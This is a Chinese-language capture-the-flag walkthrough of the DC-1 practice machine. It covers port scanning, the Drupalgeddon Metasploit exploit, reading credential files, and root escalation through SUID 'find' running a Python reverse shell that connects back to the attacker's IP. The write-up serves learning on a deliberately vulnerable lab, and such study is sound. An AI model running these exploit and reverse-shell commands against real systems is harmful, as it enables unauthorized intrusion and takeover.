Proving Grounds->DC-1 靶场笔记

惯例先扫ip段

```
nmap -sn -v 192.168.218.0/24
```

只有192.168.218.193、192.168.218.254 (网关)

对192.168.218.193进行端口扫描

```
nmap -p- -sv -sc --open 192.168.218.193
```

扫描结果如下

```
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT
         STATE SERVICE VERSION
                      OpenSSH 6.0pl Debian 4+deb7u7 (protocol 2.0)
22/tcp
         open ssh
| ssh-hostkey:
   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
| 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp
         open http
                      Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
/themes//CHANGELOG.txt/cron.php/INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
  program version port/proto service
  100000 2,3,4
                      111/tcp rpcbind
                     111/udp rpcbind
  100000 2,3,4
                     111/tcp6 rpcbind
  100000 3,4
  100000 3,4
                      111/udp6 rpcbind
   100024 1
                    46232/tcp status
  100024 1
                    48086/tcp6 status
  100024 1
                     53990/udp status
_ 100024 1
                     57904/udp6 status
46232/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

出货不少, 22、80、111、46232

80进去看是Drupal Site的登录

进去新建用户。发现admin已经被占用了

也没有注入的地方

中间件是Apache 2.2

CMS是Drupal 7, 国外挺有名的

searchsploit看看有没有洞

```
-$ searchsploit Drupal
Exploit Title
                                                                         Path
       4.0 - News Message HTML Injection
                                                                        php/webapps/21863.txt
       4.1/4.2 - Cross-Site Scripting
                                                                        php/webapps/22940.txt
                                                                        php/webapps/1088.pl
      4.5.3 < 4.6.1 - Comments PHP Injection
      4.7 - 'Attachment mod_mime' Remote Command Execution
                                                                       php/webapps/1821.php
      4.x - URL-Encoded Input HTML Injection
                                                                        php/webapps/27020.txt
                                                                        php/webapps/4510.txt
      5.2 - PHP Zend Hash ation Vector
      5.21/6.16 - Denial of Service
                                                                        php/dos/10826.sh
      6.15 - Multiple Persistent Cross-Site Scripting Vulnera
                                                                        php/webapps/11060.txt
                  - 'Drupa'geddon' SQL Injection (Add Admin Us
- 'Drupa'geddon' SQL Injection (Admin Sessio
      7.0 < 7.31 -
                                                                        php/webapps/34992.py
       7.0 < 7.31
                                                                        php/webapps/44355.php
       7.0 < 7.31 - 'Drunal
                             geddon' SQL Injection (PoC) (Reset
                                                                        php/webapps/34984.py
       7.0 < 7.31 - 'Druna'
                             geddon' SQL Injection (PoC) (Reset
                                                                        php/webapps/34993.php
       7.0 < 7.31 - 'Druna
                             geddon' SQL Injection (Remote Code
                                                                        php/webapps/35150.php
       7.12 - Multiple Vulnerabilities
                                                                        php/webapps/18564.txt
                                                                        php/webapps/41564.php
      7.x Module Services - Remote Code Execution
       < 4.7.6 - Post Comments Remote Command Execution
                                                                        php/webapps/3313.pl
      < 5.1 - Post Comments Remote Command Execution
                                                                        php/webapps/3312.pl
      < 5.22/6.16 - Multiple Vulnerabilities
                                                                        php/webapps/33706.txt
      < 7.34 - Denial of Service
                                                                        php/dos/35415.txt
      < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (M
< 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Ex
< 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2'</pre>
                                                                       php/webapps/44557.rb
                                                                       php/webapps/44542.txt
                                                                        php/webapps/44449.rb
                                                geddon2' Remote Co
      < 8.3.9 / < 8.4.6 / < 8.5.1 - '
                                                                        php/remote/44482.rb
      < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupa
                                                geddon2' Remote Co
                                                                       php/webapps/44448.py
      <8.5.11 / <8.6.10 - RESTful Web Services unserialize( <8.6.10 / <8.5.11 - REST Module Remote Code Execution
                                                                       php/remote/46510.rb
                                                                        php/webapps/46452.txt
       < 8.6.9 - REST Module Remote Code Execution
                                                                        php/webapps/46459.py
       avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclos
                                                                       php/webapps/44501.txt
      avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (
Module Ajax Checklist 5.x-1.0 - Multiple SQL Injections
                                                                       php/webapps/50841.txt
                                                                        php/webapps/32415.txt
      Module CAPTCHA - Security Bypass
                                                                        php/webapps/35335.html
      Module CKEditor 3.0 < 3.6.2 - Persistent EventHandler C
                                                                       php/webapps/18389.txt
      Module CKEditor < 4.1WYSIWYG (
                                               6.x/7.x) - Persist
                                                                       php/webapps/25493.txt
      Module CODER 2.5 - Remote Command Execution (Metasploit
                                                                        php/webapps/40149.rb
                                                                       php/remote/40144.php
      Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution
      Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site
                                                                        php/webapps/35397.txt
      Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbit
                                                                        php/webapps/37453.php
      Module Embedded Media Field/Media 6.x : Video Flotsam/M
                                                                        php/webapps/35072.txt
                                                                        php/webapps/50361.txt
      Module MiniorangeSAML 8.x-2.22 - Privilege escalation
      Module RESTWS 7.x - PHP Remote Code Execution (Metasplo
                                                                        php/remote/40130.rb
      Module Sections - Cross-Site Scripting
                                                                        php/webapps/10485.txt
      Module Sections 5.x-1.2/6.x-1.2 - HTML Injection
                                                                        php/webapps/33410.txt
```

好家伙, 重点看下Drupageddon

Drupageddon 是 Drupal 版本 <7.32 中暴露的一个漏洞。 它允许远程代码执行和 shell 访问。

使用 msfconsole 看看exp能不能一发入魂吧

```
·(moon® windows)-[~/桌面]
  -$ msfconsole
                                                                   `dDestRoyREXKC3ta/M:
        =[ metasploit v6.2.26-dev
     --=[ 2264 exploits - 1189 auxiliary - 404 post
--=[ 951 payloads - 45 encoders - 11 nops
     --=[ 9 evasion
Metasploit tip: Enable verbose logging with set VERBOSE
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
```

search drupageddon 搜一下

加载这个exp

use exploit/multi/http/drupal_drupageddon

```
msf6 > use exploit/multi/http/drupal_drupageddon
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
```

需要RHOST (靶机ip) 、LHOST (你的ip)

```
set RHOST 192.168.213.193
set LHOST 192.168.45.5
run 如果没连上就多run几次
getuid
```

```
msf6 exploit(multi/http/drupal_drupageddon) > set RHOST 192.168.213.193
RHOST ⇒ 192.168.213.193
msf6 exploit(multi/http/drupal_drupageddon) > set LHOST 192.168.45.5
LHOST ⇒ 192.168.45.5
msf6 exploit(multi/http/drupal_drupageddon) > run

[*] Started reverse TCP handler on 192.168.45.5:4444
[*] Sending stage (39927 bytes) to 192.168.213.193
[*] Meterpreter session 1 opened (192.168.45.5:4444 → 192.168.213.193:33490) at 2023-04-18 20:36:09 +0800

meterpreter > getuid
Server username: www-data
meterpreter > |
```

先Is看一眼

找到了flag1.txt

提示我去看配置文件 但是我没着急去找配置文件

```
meterpreter > getuid
Server username: www-data
meterpreter > ls -al
Listing: /var/www
                                  Type Last modified
Mode
                         Size
                                                                                Name
100644/rw-r--r-- 174
                                 fil 2013-11-21 04:45:59 +0800
fil 2013-11-21 04:45:59 +0800
                                          2013-11-21 04:45:59 +0800 .gitignore
100644/rw-r--r-- 5767
100644/rw-r--r-- 1481
                                                                               .htaccess
                                          2013-11-21 04:45:59 +0800 COPYRIGHT.txt
100644/rw-r--r-- 1451
                                  fil 2013-11-21 04:45:59 +0800 INSTALL.mysql.txt
                                          2013-11-21 04:45:59 +0800 INSTALL.pgsql.txt
2013-11-21 04:45:59 +0800 INSTALL.sqlite.txt
100644/rw-r--r-- 1874
100644/rw-r--r-- 1298
100644/rw-r--- 17861 fil
100755/rwxr-xr-x 18092 fil
100644/rw-r--r- 8191 fil
                                          2013-11-21 04:45:59 +0800 INSTALL.txt
                                          2013-11-01 18:14:15 +0800
                                                                              LICENSE.txt
                                  fil
                                          2013-11-21 04:45:59 +0800 MAINTAINERS.txt
100644/rw-r--r-- 5376
100644/rw-r--r-- 9642
100644/rw-r--r-- 6604
                                  fil 2013-11-21 04:45:59 +0800 README.txt
                                          2013-11-21 04:45:59 +0800 UPGRADE.txt
                                  fil 2013-11-21 04:45:59 +0800 authorize.php
                                  fil 2013-11-21 04:45:59 +0800 cron.php
fil 2019-02-19 21:20:46 +0800 flag1.tx
100644/rw-r-- 720
100644/rw-r-- 52
                                          2019-02-19 21:20:46 +0800 flag1.txt
040755/rwxr-xr-x 4096
                                        2013-11-21 04:45:59 +0800 includes
100644/rw-r--r-- 529
100644/rw-r--r-- 703
                                  fil
fil
                                          2013-11-21 04:45:59 +0800 index.php
                                          2013-11-21 04:45:59 +0800
                                                                               install.php
040755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 misc 040755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 modules 040755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 profiles 100644/rw-r-r-- 1561 fil 2013-11-21 04:45:59 +0800 robots.txt
040755/rwxr-xr-x 4096
040755/rwxr-xr-x 4096
                                dir 2013-11-21 04:45:59 +0800 scrip:
dir 2013-11-21 04:45:59 +0800 sites
                                                                               scripts
040755/rwxr-xr-x 4096 dir
100644/rw-r--r-- 19941 fil
100644/rw-r--r-- 2178 fil
                                  dir 2013-11-21 04:45:59 +0800 themes
                                          2013-11-21 04:45:59 +0800
                                                                               update.php
                                          2013-11-21 04:45:59 +0800 web.config
100644/rw-r--r-- 417
                                          2013-11-21 04:45:59 +0800 xmlrpc.php
meterpreter > cat flag1.txt
Every good CMS needs a config file - and so do you.
```

我又看了下passwd cat /etc/passwd

```
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
meterpreter >
```

```
找到了flag4用户,我决定去home目录看看cd /home/ls -al 发现确实有flag4目录,但是还有一个local.txt cat local.txt 第一个flag到手60e98b8e80b9279ff2e814d6f5728268
```

cd flag看下 找到flag4.txt

```
meterpreter > cd flag4
meterpreter > ls -al
Listing: /home/flag4
Mode
                 Size Type Last modified
                                                      Name
100600/rw---- 28
                       fil 2019-02-19 21:28:56 +0800 .bash_history
100644/rw-r--r-- 220 fil
                            2019-02-19 21:25:37 +0800 .bash_logout
100644/rw-r--r-- 3392 fil
                            2019-02-19 21:25:37 +0800 .bashrc
100644/rw-r--r- 675 fil 2019-02-19 21:25:37 +0800 .profile
100644/rw-r--r-- 125
                     fil 2019-02-19 21:28:26 +0800 flag4.txt
meterpreter > cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
meterpreter >
```

提示我们去root目录,root权限肯定是没有的。该怎么办呢

回过头再找这个cms的配置文件位置 cat /var/www/sites/default/settings.php

```
/**

* flag2

* Brute force and dictionary attacks aren't the

* only ways to gain access (and you WILL need access).

* What can you do with these credentials?

*

*/
```

```
$databases = array (
   'default' =>
   array (
    'default' =>
   array (
     'database' => 'drupaldb',
     'username' => 'dbuser',
     'password' => 'ROck3t',
     'host' => 'localhost',
     'port' => '',
     'driver' => 'mysql',
     'prefix' => '',
```

得到了数据库的名字、用户名、密码,提示我们看看这些凭据能做什么看看有没有mysql进程吧ps -ef|grep 'mysql'

```
直接连mysql会提示mysql不存在
mysql -u dbuser -p
报错
[-] Unknown command: mysql
甚至连whoami都执行不了
进到shell里面
whoai
id
```

```
meterpreter > mysql -u dbuser -p
i-j Unknown command: mysql
meterpreter > whoami
i-j Unknown command: whoami
meterpreter > shell
Process 4386 created.
Channel 1 created.
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

试一下mysql登录

```
mysql -u dbuser -p
r0ck3t
use drupaldb;
select * from users;
登录直接给拒绝了
```

```
mysql -u dbuser -p
Enter password: R0ck3t
use drupaldb;
select * from user;
ERROR 1146 (42S02) at line 2: Table 'drupaldb.user' doesn't exist
select * from users;
/bin/sh: 4: select: not found
mysql -u dbuser -p
Enter password: r0ck3t
ERROR 1045 (28000): Access denied for user 'dbuser'@'localhost' (using password: YES)
```

```
看看能不能直接提权,试一下find find `which find` -exec whoami \; 常规操作利用find 反弹shell  
先本机监听  
nc -lvvnp 9919  
靶机再开端口  
find /etc/passwd -exec python3 -c 'import  
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" 192.168.45.5",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \; find /etc/passwd -exec python -c 'import  
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" 192.168.45.5",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \; find表哥的脚本是-ip 有的是-p 我的-ip—直连不上就用的-p
```

```
whoami 确定root权限,之后一发入魂
ls -al
pwd
cat flag4.txt
cd /root
ls -al
cat thefinalflg.txt
cat proof.txt
```

```
# whoami
root
# ls -al
total 28
drwxr-xr-x 2 flag4 flag4 4096 Feb 19 2019 .
drwxr-xr-x 3 root root 4096 Apr 18 20:24 ..
-rw----- 1 flag4 flag4 28 Feb 19 2019 .bash_history
-rw-r--r-- 1 flag4 flag4 220 Feb 19 2019 .bash_logout
-rw-r--r-- 1 flag4 flag4 3392 Feb 19 2019 .bashrc
-rw-r--r-- 1 flag4 flag4 675 Feb 19 2019 .profile
-rw-r--r-- 1 flag4 flag4 125 Feb 19 2019 flag4.txt
# pwd
/home/flag4
# cat flag4
cat: flag4: No such file or directory
# cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
# cd /root
# ls -al
total 36
drwx ---- 4 root root 4096 Apr 18 20:24 .
# cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
# cat proof.txt
11e365a72c41529ff0fccdf4c5ba5870
#
```

```
这时候咱们再看看mysql,还是不让进,endl
有些靶场在你连接到shell之后,会在一两分钟给你退掉,所以,在连上之后,先稳定shell
https://overthewire.org/wargames/bandit/
find / -user root -perm -4000 -print 2>/dev/null
https://gtfobins.github.io/
```

```
listening on [any] 9919 ...

connect to [192.168.45.5] from (UNKNOWN) [192.168.213.193] 35332

/bin/sh: 0: can't access tty; job control turned off

# whoami

root

# mysql -u dbuser -p

Enter password: r0ck3t

ERROR 1045 (28000): Access denied for user 'dbuser'@'localhost' (using password: YES)

# |
```